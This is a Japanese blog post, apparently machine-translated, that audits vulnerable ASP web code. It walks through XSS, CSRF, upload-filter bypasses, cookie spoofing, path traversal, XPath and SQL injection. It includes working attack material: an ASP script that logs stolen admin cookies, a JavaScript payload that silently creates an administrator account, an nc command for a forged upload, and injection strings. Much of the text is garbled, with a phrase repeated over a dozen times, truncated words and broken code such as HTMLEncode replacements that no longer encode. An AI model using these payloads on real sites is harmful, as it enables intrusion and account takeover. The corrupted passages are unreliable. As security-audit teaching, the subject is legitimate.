blog

ASPの章のWebソースコードのセキュリティ監査

データベースパスの漏えいは、主にASP + Accessの構築されたWEBで明らかにされ、攻撃者が%5cを提出するとき、IISは、実際のデータベースパスの出力で、その結果、エラーを解析します。...

May 4, 2025 · 31 min. read
シェア

0×01 ASP入門

ASP Web ページには、HTML マークアップ、プレーンテキスト、スクリプトコマンド、COM コンポーネントを含めることができます。ASP を使用して、Web ページにインタラクティブなコンテンツを追加したり、HTML ページをユーザーインターフェイスとして使用する Web アプリケーションを作成したりできます。

0×02 ASP脆弱性入門

I.データベースのパスリーク

概要:データベースパスの漏えいは、主にASP+Accessで構築されたWEBに現れ、攻撃者が%5cを送信すると、IISはエラーを解析し、その結果、実際のデータベースパスが出力されます。

脆弱性の原理:データを送信する際、IEは自動的に%5cを/に変換し、同じアドレスを取得します。asp タイプのウェブサイトでは、データベース接続ファイルを使用します。

脆弱性コード:ここでは、ケーススタディとしてパワー記事システムを使用し、コードは次のとおりです:

<% 
dim conn 
dim connstr 
dim db 
db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb"      'データベースファイルの場所 
Set conn = Server.CreateObject("ADODB.Connection") 
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db) 
conn.Open connstr 
%> 

脆弱性の修復:この脆弱性にパッチを適用する方法は2つあります。1つ目はconn.open connstrコードにOn Error Resume Nextを追加する方法、2つ目はIISサーバーの設定オプションで「次のテキストエラーメッセージをクライアントに送信する」を選択する方法です。図2

#p#

II.クロスサイト・スクリプティング攻撃

概要:クロスサイト・スクリプティング(XSS)は、ウェブ・アプリケーションでしばしば見られるコンピュータ・セキュリティの脆弱性で、悪意のあるウェブ・ユーザが、他のユーザが利用可能なページにコードを挿入することを可能にします。例えば、HTML コードやクライアントサイドスクリプティングを含むページなどです。攻撃者は一般的に XSS の脆弱性を利用して、同一オリジン・ポリシーなどのアクセス制御を回避したり、フィッシング攻撃、ウェブページ・タグ、クッキーの盗用などを行います。Xss のクロスサイト攻撃には、リフレクション攻撃とストアド攻撃の 2 種類があります。リフレクション攻撃とソースコード監査はほとんど関係ないので、ここでは省略し、ストレージタイプの攻撃に焦点を当てます。

脆弱性の原理:ストレージ型攻撃は、対話型ページを通じてデータベースに悪意のあるコードを埋め込み、管理者が悪意のあるコードを呼び出すページにアクセスすると、攻撃が発生します。例えば、システムメッセージのフィードバックカラムのメッセージ内容フォームのセキュリティ処理が行われていない場合、クライアントは任意に悪意のあるコードを送信することができ、その結果、XSSクロスサイトの脆弱性が発生します。

脆弱性コード

 <% 
Content = "" 
    For i = 1 To Request.Form("Content").Count 
        Content = Content & Request.Form("Content")(i) 
    Next 
………… //省略部分代码 
rs("Guest_ZIP")=HTMLEncode(Guest_ZIP) 
    rs("Guest_TEL")=HTMLEncode(Guest_TEL) 
    rs("Guest_FAX")=HTMLEncode(Guest_FAX) 
    rs("Content")=Content 
    rs.Update 
 %> 

上記のコードでは、Request.Form メソッドによって取得されたコンテンツ値が安全に処理されないため、XSS 保存攻撃が発生します。

脆弱性の悪用:

攻撃者がメッセージの内容ボックスに上記のコードを入力すると、バックグラウンドの管理者がメッセージを表示するとき、クロスサイトアタックが有効になり、管理者のCOOKIES情報が保存されるためにxxxドメイン名に送信されます:

<% 
c=Request.ServerVariables("QUERY_STRING") 
testfile=Server.MapPath("cookies.txt") 
set fs=server.CreateObject("scripting.filesystemobject") 
set thisfile=fs.OpenTextFile(testfile,8,True,0) 
thisfile.Writeline(""&c& "") 
thisfile.close 
set fs = nothing 
%> 

脆弱性の修正: "< ' " >" タグの HTML エンコーディング。#p#

III.クロスサイト・リクエスト・フォージェリ攻撃

概要:CSRFは、クロスサイトリクエストフォージェリの略語であり、直訳するとクロスサイトリクエストフォージェリの意味であり、通常、悪意のあるサイトのページでは、サーバー側のデータを変更する目的を達成するように、サイトのURLを要求するために訪問者を促す、つまり、WEBサイトの脆弱性のこのタイプを参照するために使用されます。

脆弱性の原理:クロスサイトの脆弱性と関連して、JSスクリプトコードは管理者IDによってのみ実行可能なことを実行するために使用されますが、このアクションは管理者自身からの要求ではありません。

脆弱性コード: このシステムには、以下のコードを持つセキュリティフィルタ関数 HTMLEncode があります:

Public Function HTMLEncode(str) 
    If Not IsNull(str) Then 
        str = Replace(str, Chr(38), "&") 
        str = Replace(str, "<", "<") 
        str = Replace(str, ">", ">") 
        str = Replace(str, Chr(9), " ") 
        str = Replace(str, Chr(32), " ")        
        str = Replace(str, Chr(34), """) 
        str = Replace(str, Chr(39), "'") 
        str = Replace(str, Chr(13) & Chr(10), " 
") 
        str = Replace(str, Chr(10), " 
") 
        str = Replace(str, Chr(13), " 
") 
        HTMLEncode = str 
    End If 
End Function 
//以下は、脆弱性のキーポイントである 
Content = "" 
    For i = 1 To Request.Form("Content").Count 
        Content = Content & Request.Form("Content")(i) 
    Next 
………… //省略部分代码 
rs("Guest_ZIP")=HTMLEncode(Guest_ZIP) 
    rs("Guest_TEL")=HTMLEncode(Guest_TEL) 
    rs("Guest_FAX")=HTMLEncode(Guest_FAX) 
    rs("Content")=Content 
    rs.Update 

上のコードの Content 変数は、Request.Form によって取得された後、Guest_FAX 変数のように HTMLEncode によってフィルタリングされません。

脆弱性の悪用:悪用方法は図の通りです。

Xss.jsスクリプトは、新しい管理者topsecの追加を実行します。 コードは次のとおりです:

var request = false; 
if(window.XMLHttpRequest) { 
request = new XMLHttpRequest(); 
if(request.overrideMimeType) { 
request.overrideMimeType('text/xml'); 
} 
} else if(window.ActiveXObject) { 
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; 
for(var i=0; i<versions.length; i++) { 
try { 
request = new ActiveXObject(versions[i]); 
} catch(e) {} 
} 
} 
xmlhttp=request; 
  
add_admin(); 
function add_admin(){ 
var url="/admin/SysAdmin_Add.asp?Action=SysAdmin_Add"; 
var params ="SiteControl_LoginName=topsec&SiteControl_LoginPass=123456&SiteControl_RealName=topsec&imageField.x=24&imageField.y=8";   
xmlhttp.open("POST", url, true); 
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
xmlhttp.setRequestHeader("Content-length", params.length); 
xmlhttp.setRequestHeader("Connection", "close"); 
xmlhttp.send(params); 
} 

図に示すようにコードを移植した後、管理者がメッセージを表示するためにバックグラウンドに入ると、脆弱性がトリガされ、システムは自動的にアカウントtopsec、パスワード123456管理者を追加します。

脆弱性の修正:トークン認証の追加、フロントエンドのクロスサイト脆弱性の修正。#p#

IV.任意書類のダウンロード

脆弱性の原理: Windows システムは ".asp+space" と ".asp+." をサポートしています。.asp "ファイルに相当し、ダウンロードモジュールが検証されていない場合、任意のファイルをダウンロードすることができます。

脆弱性コード:次の沸騰展望システム古典的なダウンロード脆弱性のソースコードを紹介します。重要なソースコードは次のとおりです:

<% 
Dim Stream 
Dim Contents 
Dim FileName 
Dim TrueFileName 
Dim FileExt 
Dim SavePath 
  
Const adTypeBinary = 1 
FileName = Request.QueryString("FileName") 
If FileName = "" Then 
    Response.Write "無効なファイル名だ 
    Response.End 
End if 
  
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1) 
Select Case UCase(FileExt) 
    Case "ASP", "ASA", "ASPX", "ASAX", "MDB" 
        Response.Write "違法な操作!" 
        Response.End 
End Select 
Response.Clear 
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then 
    Response.ContentType = "image/*" 'イメージファイルのダウンロードダイアログボックスが表示されない 
else 
    Response.ContentType = "application/ms-download" 
end if 
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName")) 
Set Stream = server.CreateObject("ADODB.Stream") 
Stream.Type = adTypeBinary 
Stream.Open 
  
SavePath = FileUploadPath        'アップロードされたファイルが格納されているディレクトリ 
TrueFileName = SavePath & FileName 
  
Stream.LoadFromFile Server.MapPath(TrueFileName) 
While Not Stream.EOS 
    Response.BinaryWrite Stream.Read(1024 * 64) 
Wend 
Stream.Close 
Set Stream = Nothing 
Response.Flush 
Response.End 
%> 

上記のコードの太字の部分は、脆弱性の形成のための重要なコードは、まず第一に、Request.QueryString("FileName")メソッドを介してプログラムは、任意のファイル名を指定しますが、ファイルの接尾辞の判断の下のプログラムが、接尾辞のセキュリティプロセスを持っていなかった、その結果、クライアントでスペースを追加することができます。クライアントは、サフィックスの後にURLコードにスペースを追加することができますプログラムの検証をバイパスし、ファイルがダウンロードされます。

脆弱性の悪用:悪用方法は以下の通りです。

V.コンポーネントなしのアップロード

概要:ASPプログラムの脆弱性のアップロードの脆弱性は、特に目を引く、悪用技術の様々な無限大であり、以下は、それぞれ、最も一般的な3つのアップロードの脆弱性に導入され、 "切り捨てアップロードの脆弱性"、 "変数の継承アップロードの脆弱性"、 "アップロードの脆弱性"、 "アップロードの脆弱性"、 "アップロードの脆弱性"、 "アップロードの脆弱性"、 "アップロードの脆弱性"、 "アップロードの脆弱性"、 "アップロードの脆弱性"、 "アップロードの脆弱性"、 "アップロードの脆弱性"、 "アップロードの脆弱性"、 "アップロードの脆弱性"。"検証は厳密ではないアップロードの脆弱性"。

脆弱性の原理:16進数の切り捨て、変数ロジックの継承、接尾辞名のいい加減な検証、その他は単に接尾辞名のアップロードを検証しません。

脆弱性コード:1アップロードを切り詰めるために好ましい導入は、かつて人気のあるASPフォーラムとしてフォーラムを移動するだけでなく、アップロードの脆弱性の最も代表的なものを含め、さまざまな脆弱性にさらされて、次のよく知られている手順は、ネットを移動の分析を行うには。脆弱性ファイルはUpfile.aspにあり、コアコードは次のとおりです:

<% 
dim upload,file,formName,formPath,iCount,filename,fileExt 
set upload=new upload_5xSoft 
formPath=upload.form("filepath")   '//脆弱性のキーポイント 
if right(formPath,1)<>"/" then formPath=formPath&"/" 
for each formName in upload.objFile 
set file=upload.file(formName) 
  
fileExt=lcase(right(file.filename,4))  '//ファイル名から最後の4ビットを取り出し、小文字に変換する。 
if fileEXT<>".gif" and fileEXT<>".jpg" and fileEXT<>".zip" and fileEXT<>".rar" and fileEXT<>".swf"then 
response.write "不正なファイル形式 [ 再アップロード ]" 
response.end 
end if 
randomize 
ranNum=int(90000*rnd)+10000 
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&fileExt  '//脆弱性のキーポイントファイル名+ランダムファイル名の年、月、日のパスで提出+変換された拡張子の構成 
if file.FileSize>0 then 
file.SaveAs Server.mappath(FileName) 
response.write "アップロード成功!" 
end if 
set file=nothing 
%> 

上記のコードはアップロードされたファイルのタイプを判断しますが、最終的に保存されるときにformPathという値を追加し、この値はクライアントから送信されるため、攻撃者はパケットを偽造することができます。クライアント側の送信コードは以下の通りです:

攻撃者は通常のパケットをキャプチャし、formPath = "..." + space を変更します。/00はターミネータなので、アップローダは00を検出した時点でアップロードが完了したとみなします。下の図のように

変更を保存して NC で送信した後、CMD で nc www.aspmps.com 80<1.txt と入力すると正常にアップロードされます。下の図のように

この脆弱性を修正する方法は実はとても簡単で、ファイルのアップロード名の種類がchr(0)であるかどうかをチェックし、もしそうであればReplace関数を使って置き換えるだけです。

2変数継承アップロードの脆弱性:複数のファイルをアップロードするときに、いくつかのアップロード手順は、変数の継承によって引き起こされる変数のロジックの混乱は、有名なフリーパワー記事システムで、次の分析を行うには。攻撃者は、同時に2つのファイルをアップロードするHTMLフォームを作成することができます、最初のFILEコントロールは、通常のrarファイルを選択し、2番目のFILEコントロールは、このCerのファイルは、ASP文トロイの木馬に書かれたCerのファイルを選択します。その後、フォーム内のアクションの値を正常に送信することができます変更します。次のチャート

Upfile_Soft.asp脆弱性のコアコードは以下の通りです:

<% 
const UpFileType="rar|zip|exe|mpg|rm|wav|mid" 
dim upload,oFile,formName,SavePath,filename,fileExt,oFileSize 
dim EnableUpload 
dim arrUpFileType 
dim ranNum 
dim msg,FoundErr 
msg="" 
FoundErr=false 
EnableUpload=false 
for each formName in upload.file 'すべてのアップロードファイルをリストする 
  
        set ofile=upload.file(formName)  'ファイルオブジェクトを生成する 
        oFileSize=ofile.filesize 
        if oFileSize<100 then="" msg="请先选择你要上传文書!" founderr="True" elseif="" ofilesize="">(MaxFileSize*1024) then 
             msg="ファイルサイズが制限を超えると、最大のみアップロードすることができる" "。 & CStr(MaxFileSize) & "K的文件!" 
            FoundErr=true 
        end if 
        fileExt=lcase(ofile.FileExt) 
        arrUpFileType=split(UpFileType,"|") 
        for i=0 to ubound(arrUpFileType) 
            if fileEXT=trim(arrUpFileType(i)) then 
                EnableUpload=true    ' 最初のパスファイルはrar拡張子に準拠する,EnableUpload = true 
                exit for 
            end if 
        next    
  
        if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then 
            EnableUpload=false        'それは送信の3つの禁止タイプに属しているかどうかをテストするために2番目のパスは、それがに属していないため、変数EnableUploadはまだ真である。 
        end if 
  
        if EnableUpload=false then        ' 第三关 如果EnableUpload=false,その後FoundErr=true,そして、フロントはEnableUploadに渡される=true,そのFoundErrは、最初のFORループに偽のままである。 
            msg="このファイルタイプはアップロードを許可しない!

これらのファイルタイプのみがアップロードを許可されている:" & UpFileType 
            FoundErr=true 
        end if 
if FoundErr<>true then            ' 第四关 如果FoundErr<>true就可以通过,看一下从第三关传递过来的FoundErr的值,是 false,可以上传。 
            FileName=SavePath & ofile.FileName 
            If IsObjInstalled("Scripting.FileSystemObject") Then 
                dim fso 
                set fso=CreateObject("Scripting.FileSystemObject") 
                if fso.FileExists(Server.mappath(FileName)) then 
                    randomize 
                    ranNum=int(900*rnd)+100 
                        filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 
                end if 
                set fso=nothing 
            end if 
            ofile.SaveToFile Server.mappath(FileName) 
%> 

3.検証は厳密ではないアップロードの脆弱性:このような接尾辞の検証は厳密ではない脆弱性は、多くの場合、動的アップロードの脆弱性が代表的な存在します。以下は、アップロードモジュールの分析を行うには、動的なショッピングシステムです。このアップロードの脆弱性の使用は、攻撃者がアップロードファイルの接尾辞 "cer|ccerer "を許可するように設定する特定の手段を介して背景に入力する必要があります。下図のように

その後、バックグラウンドイメージアップロード機能を通じて、接尾辞にccererという名前を持つトロイの木馬の文ファイルを直接アップロードします。この脆弱性を生成するコアコードは次のとおりです:

<% 
Private Function FixName(Byval UpFileExt) 
        If IsEmpty(UpFileExt) Then Exit Function 
        FixName = Lcase(UpFileExt) 
        FixName = Replace(FixName,Chr(0),"") 
        FixName = Replace(FixName,".","") 
        FixName = Replace(FixName,"'","") 
        FixName = Replace(FixName,"asp","") 
        FixName = Replace(FixName,"asa","") 
        FixName = Replace(FixName,"aspx","") 
        FixName = Replace(FixName,"cer","")     '第一关检查,ccerer变成了cer 成功绕过 
        FixName = Replace(FixName,"cdx","") 
        FixName = Replace(FixName,"htr","") 
        FixName = Replace(FixName,"shtml","") 
End Function 
  
Private Function CheckFileExt(FileExt) 
        Dim Forumupload,i 
        CheckFileExt=False 
        If FileExt="" or IsEmpty(FileExt) Then 
            CheckFileExt = False 
            Exit Function 
        End If 
        If FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileExt="shtml" Then    ' 第二关 cer并不在检测范围内,成功绕过 
            CheckFileExt = False 
            Exit Function 
        End If 
        Forumupload = Split(InceptFile,",") 
        For i = 0 To ubound(Forumupload) 
            If FileExt = Trim(Forumupload(i)) Then        ' 第三关 cer后缀名在数据库变量中 成功匹配 
                CheckFileExt = True 
                Exit Function 
            Else 
                CheckFileExt = False 
            End If 
        Next 
End Function 
%> 

FixName=Replace(FixName, "cer","")の後、攻撃者は接尾辞ccererを送信し、ccererの真ん中のcerはフィルタリングされましたが、その後、接尾辞cerになるので、プログラムはプログラムの最初のハードルを通過します。プログラムの 次の図のように

次に、プログラムはサフィックス名と指定されたタイプ名が一致しているか、不正なファイルであれば一致しているかをチェックし続けますが、残念ながらプログラムはcerファイルをチェックしないため、cerファイルは2つ目のハードルを通過します。次に、プログラムはファイルの接尾辞がバックグラウンドの設定ファイルにあるかどうかを検出し、マッチングが成功すればアップロードします。下の図をご覧ください

このアップロードの脆弱性は、IIS の拡張子マッピングが cer を asp ファイルとして扱うことに起因しています。次の図に示すように

もちろん、他にも「どんなファイルでもアップロードできる」「MIMEファイルヘッダの検証を解除してアップロードする」「Javascriptのローカル検証を解除してアップロードする」など、いくつかのタイプの脆弱性があります。"などがありますが、一般的にはこの3つのアップロード脆弱性が代表的です。#p#

クッキーの欺瞞

概要:クッキーのみでユーザを認証するシステムでは、クッキーの内容を改ざんすることで、対応するユーザのログイン権限を取得します。クッキーの内容を改ざんすることで、対応するユーザのログイン権限を取得し、攻撃の目的を達成するために、クッキースプーフィングが侵入によく使われます。

脆弱性の原則:最後に、クッキーとは何ですか、その役割は何ですか?クッキーは、Webサーバーがクライアントのハードドライブまたはメモリに少量のデータを格納したり、クライアントのハードドライブからデータを読み取ることができる技術の一種です。クッキーは、あなたがウェブサイトを閲覧するときに、Webサーバーによってハードドライブ上に配置された非常に小さなテキストファイルであり、そのようなユーザーID、パスワード、閲覧したWebページ、滞在時間などの情報を記録することができます。

脆弱性コード:ケースを行うには、次のまたは無料の電源記事システムは、バックグラウンドファイルUploadSoft.aspへのアクセスは、認証を介して検証する必要があり、クッキーの検証を介して、この手順は、セキュリティ上のリスクが発生しました。クッキーは、図のように設定されていません

キーコードは以下の通りです:

<% 
if session("AdminName")="" and request.Cookies("asp163")("UserName")="" then 
        response.Write("この機能を使用するには、ログインしてください!") 
    else 
        select case upload_type 
            case 0 
                call upload_0()  'Chemosphereコンポーネントレスアップロードクラスを使用する 
            case else 
                response.write "このシステムは、プラグイン機能を開いていない 
                response.end 
        end select 
end if 
%> 

コード内のIF文の判断は、セッションとCookieの値が空の場合は、実行を続行することはできません、それ以外の場合は、アップロード関数を呼び出すことができますupload_0()問題です。 その後、攻撃者は唯一のCookieの値が空ではないアップロード関数を呼び出すことができます満たすために行う必要がある、前のセクションでこのアップロード関数は、変数継承アップロードの脆弱性の存在に記載されている、害の2つの脆弱性の組み合わせは大きくなります。

脆弱性:Firefox プラグインを使用して、クッキーを設定した後に asp163=UserName=asp を以下のように変更します。

これはクッキーの検証を迂回し、結果としてファイルをアップロードできるようにし、後に変数継承の脆弱性を成功させるための条件を作り出しました。

脆弱性の修正:クッキーは暗号化される可能性があり、バックグラウンドでキーファイルを認証するにはセッションを使うのがベストです。#p#

VII.ローカルファイルのインクルード

概要: ASP Execute メソッドは、別の ASP ファイルの内部から ASP プログラムを実行します。

脆弱性の原理: 他のASPファイルの実行が要求された後、コントローラは要求元のASPファイルに戻ります。PHP のインクルード脆弱性とは異なり、Execute メソッドはローカルファイルのみをインクルードすることができます。

脆弱性コード

<%Server.Execute(Request.QueryString("file"))%>

equestメソッドで取得したパラメータファイルはセキュアに処理されず、Executeメソッドで実行されます。

脆弱性:アプリケーションにアップロードの脆弱性が存在しない場合、攻撃者は通常のイメージ形式のファイルをアップロードすることができ、ファイルはASPスクリプトコードでラップされます。次の図に示すように

ASPのポニーがjpgで書かれていれば、簡単にWebShellを手に入れることができます。

脆弱性の修正:体系的に実行ファイルを指定しようとすると、クライアントがパラメータを提出することはできませんが、本当に動的にパラメータを変更する必要があり、一致するファイルを支援することができ、クライアントが提出したパラメータがファイルに表示された場合、それは実行することができ、そうでなければ、実行を続行することはできません。#p#

第8回パスの操作

概要:ファイルシステム操作で使用されるパスを制御するためのユーザー入力により、攻撃者が他の保護されたシステムリソースにアクセスしたり、変更したりすることが可能になります。

脆弱性の原理:パス操作エラーは、以下の2つの条件を満たした場合に発生します:

1.攻撃者はファイルシステム操作で使用するパスを指定できます。

2.攻撃者は、特定のリソースを指定することで、通常は取得できない特定の権限を取得することができます。

脆弱性コード: 古典的なエディタである Ewebeditor を分析した結果、エディタのファイル管理にパス操作の脆弱性があり、攻撃者がパスの読み取り範囲を指定できるため、セキュリティ上のリスクが発生します。

<% 
Function InitParam() 
    sStyleID = Trim(Request("id")) 
    sUploadDir = "" 
    If IsNumeric(sStyleID) = True Then 
        sSql = "select S_UploadDir from eWebEditor_Style where S_ID=" & sStyleID 
        oRs.Open sSql, oConn, 0, 1 
        If Not oRs.Eof Then 
            sUploadDir = oRs(0) 
        End If 
        oRs.Close 
    End If 
    If sUploadDir = "" Then 
        sStyleID = "" 
    Else 
        sUploadDir = Replace(sUploadDir, "", "/") 
        If Right(sUploadDir, 1) <> "/" Then 
            sUploadDir = sUploadDir & "/" 
        End If 
    End If 
    sCurrDir = sUploadDir 
  
    ' スタイルカタログ 
    sDir = Trim(Request("dir")) 
    If sDir <> "" Then 
        If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then 
            sCurrDir = sUploadDir & sDir & "/" 
        Else 
            sDir = "" 
        End If 
    End If 
End Function 
%> 

攻撃者がこの脆弱性を悪用する場合、2つの条件があります。 まず、sStyleIDの値はNULLであってはならず、データベースに存在するID番号でなければなりません。第二に、変数sDirは安全に処理されておらず、sCurrDir変数に引き継がれますが、最後の"/"は必要ありません。

Exploit: admin_uploadfile.asp?id=22&dir=.../... 実行後、2つの親ディレクトリにジャンプし、攻撃者は任意のファイルやフォルダを削除することができます。下図のように

脆弱性の修正:この脆弱性に対しては、Replace関数で"... "をフィルタリングすることが推奨されます。 .#p#

IX.フォーム提出の欺瞞

概要: フォーム送信は現在の Web アプリケーションの重要な部分であり、ユーザはこれを通してサーバとデータを転送することができます。一般的に、フォームはデータ検証の形でサーバに送信されます。これはサーバのリソースを節約できますが、サーバはセキュリティの脆弱性をもたらします。

脆弱性の原理:その名の通り、ウェブプログラムはクライアント側のJavaScriptで正当性を検証するだけで、サーバー側のデータの正当性は検証しません。

脆弱性コード:ケーススタディとして以下のアップロードされたページ

エクスプロイト:攻撃者は、ブラウザのアクティブスクリプトとJavascriptスクリプトを無効にするだけで、攻撃を仕掛けることができます。無効にする方法は下図の通りです:

HTMLページを作成する2つ目の方法は、JSスクリプトを削除し、Actionの値を攻撃対象のURLに変更するだけです。

脆弱性の修復:クライアントとサーバー側の両方で検証を行うには、クライアントが検証を行うには、ユーザーエクスペリエンスを向上させることができ、サーバー側の再検証は、データのセキュリティを確保することができます。

Http リクエストフォージェリ

概要: なりすましフォームよりも高度で洗練された攻撃は、HTTP リクエストのなりすましです。これは攻撃者に完全な制御と柔軟性を与え、ユーザが送信したデータを盲目的に信用できないことをさらに証明します。ほとんどのブラウザはソースに RL 値を含むので、.es("_ER") 変数を使ってなりすましを防ごうとするかもしれません。確かに、これは標準的なブラウザを使って行われる攻撃に対して使うことができますが、攻撃者はこの小さな厄介なものによって抑止されることはありません。TPリクエストの生の情報を編集することで、攻撃者はTPヘッダの値、STのデータ、TPリクエストのすべてのコンテンツを完全にコントロールすることができます。

脆弱性の原則:Request.ServerVariablesでデータソースの正当性を確認しても、まだ信頼できません。

脆弱性コード:古典的な認証ソースの分析を行うためにASPで次のコード

 <% 
Dim From_url , Serv_url 
    From_url = Cstr(Request.ServerVariables("HTTP_REFERER")) 
    Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")) 
    If Mid(From_url,8,Len(Serv_url)) <> Serv_url then 
        Response.Write "違法リンク 
        Response.End 
    End if 
%> 

上記のコードでは、2つの判断の値は、クライアントの環境変数から来る、アイデアは、ドメイン名のターゲットアドレスとソースアドレスが一致しているかどうかを判断することです、ドメイン名と矛盾して不正アクセスとみなされ、このコードは、しばしば盗難防止チェーンモジュールで使用されます。

エクスプロイト:HTTPプロキシソフトウェアを使用して特定のパケットを構築し、TPヘッダにerを追加します。下図のように

脆弱性の修正:データソースの真正性を確認するのは、やはりサーバーサイドに置くべきです。#p#

概要:最近のプログラミング言語の多くは、ソースコードの命令を動的に解析することができます。 これは、プログラマーがユーザーからの命令によってデータを操作する必要がある場合に適用できます。もちろん、コードの実行によってユーザー入力を解析するよりも、基礎となる言語構造を利用する方が望ましいです。 ユーザ提供命令は、現在のユーザ・オブジェクトに対して簡単な計算を実行したり、ユーザ・オブジェクトの状態を変更したりするなど、無害な操作を実行することが期待されています。しかし、プログラマが十分に注意しないと、ユーザが指定した操作の範囲が、プログラマが当初想定していた範囲を超えてしまうことがあります。

脆弱性コード

<%=Eval(Request("parma"))%>

脆弱性の悪用:

攻撃者がVBのNow()関数と等しいparmaパラメータの値を与えた場合、現在の時刻が出力されます、ここでコードはEval関数で実行され、それがExecuteとExecuteGlobal関数であれば、Webページに出力されません。

もし動的な実行が必要であれば、ローカルファイル内の文字と一致する文字のみを入力できるようにしてください。

脆弱性の原則:Accessデータベースと同じように、XMLドキュメントだけでデータを保存すると、ユーザーがデータを提出するための手順は、セキュリティプロセスの後ではない場合、それは古典的な普遍的なパスワードよりも最も一般的なセキュリティ上の問題につながるでしょう。

脆弱性コード

<% 
function SelectXmlNodeText(elementname,elementpass) 
    On Error Resume Next 
    elementname="//"&"root/row[name='"&elementname&"' and password='"&elementpass&"']" 
    temp =  XMLMorntekDocument.selectSingleNode(elementname).text 
    If temp <> "" Then 
        Session("UserName") = "asp163" 
        Response.Write("Welcome , Sysadmin") 
    Else 
        Response.Redirect("/admin/Login.asp") 
    end if 
end function  
ConnectXml("../admin.xml") 
Call SelectXmlNodeText(Request("name"),Request("pass")) 
%> 

上記のコードはバックエンドの管理認証機能を実装しています。 admin.xml ファイルはサイトのルートディレクトリの外側にあり、Http を使ってダウンロードすることはできません。st オブジェクトから取得されるデータはセキュリティフィルタリングされていないため、古典的なユニバーサルパスワードバイパスの脆弱性が生じます。

脆弱性の悪用:

攻撃者が Name と Pass の両方が「'または'1′ = '1'」であることを送信すると、XML クエリノードは「//root/row[name=''or '1'='1' and password='' or '1'='1']" バイパスを満たすには、1つの条件が真であればよいので、OR文が大きな役割を果たします。

脆弱性の修正:SQLインジェクションと同様に、クライアントから送信されたデータをフィルタリングする必要があります。#p#

XIII.SQLインジェクション

悪意のあるユーザー入力は、実行されるSQLスクリプトに影響を与えるために使用されます。

脆弱性の原理:クライアントを介してSQLステートメントを送信するには、クエリ、更新、データベース内のデータを削除することができます、この脆弱性は、ASPの下で最も人気のある脆弱性です。攻撃者はGET、POST、COOKIE、SERVERを介して任意のデータを送信することができ、データベースがSQL Serverデータベースである場合、脆弱性はより有害です。

脆弱性コード

<% 
Set rs = Server.CreateObject("ADODB.RecordSet") 
sqlString="SELECT * FROM News WHERE Id=" & Request.QueryString("id") 
rs.Open sqlString, Conn, 1, 1 
%> 

脆弱性の悪用:

脆弱性の修正:Clng関数を使用して取得した数値変数を変換し、Replace関数を使用して文字型のシングルクォートをフィルタリングします。

0×03まとめ:

ASPは非常に多くの年後にまだ立つことができる、学び、使いやすい独自の簡単に加えて、ACCESSデータベースと中小のWebサイト開発の選択の多くのプログラマの特性の移植性を容易にするためにあるときにASPの最初の選択。開発者のためのこれらのASPの脆弱性をマスターすることは非常に必要であるため、インターネット全体を促進するために、より強力で安全なアプリケーションを記述する唯一の方法!セキュリティと開放性。

Read next

マイクロソフトのWindows 8.1無料版のトリック:他のコンテンツやサービスをバンドルする

また、マイクロソフトは消費者にサービスを利用してもらうために様々な方法を使うことでも知られています。マイクロソフトは、Windows 8.1OSのユーザーを大量に増やすために、無料版の開発に取り組んでいると言われています。このOS自体には費用はかかりませんが、他のコンテンツやサービスが大量にバンドルされる予定です。

May 4, 2025 · 2 min read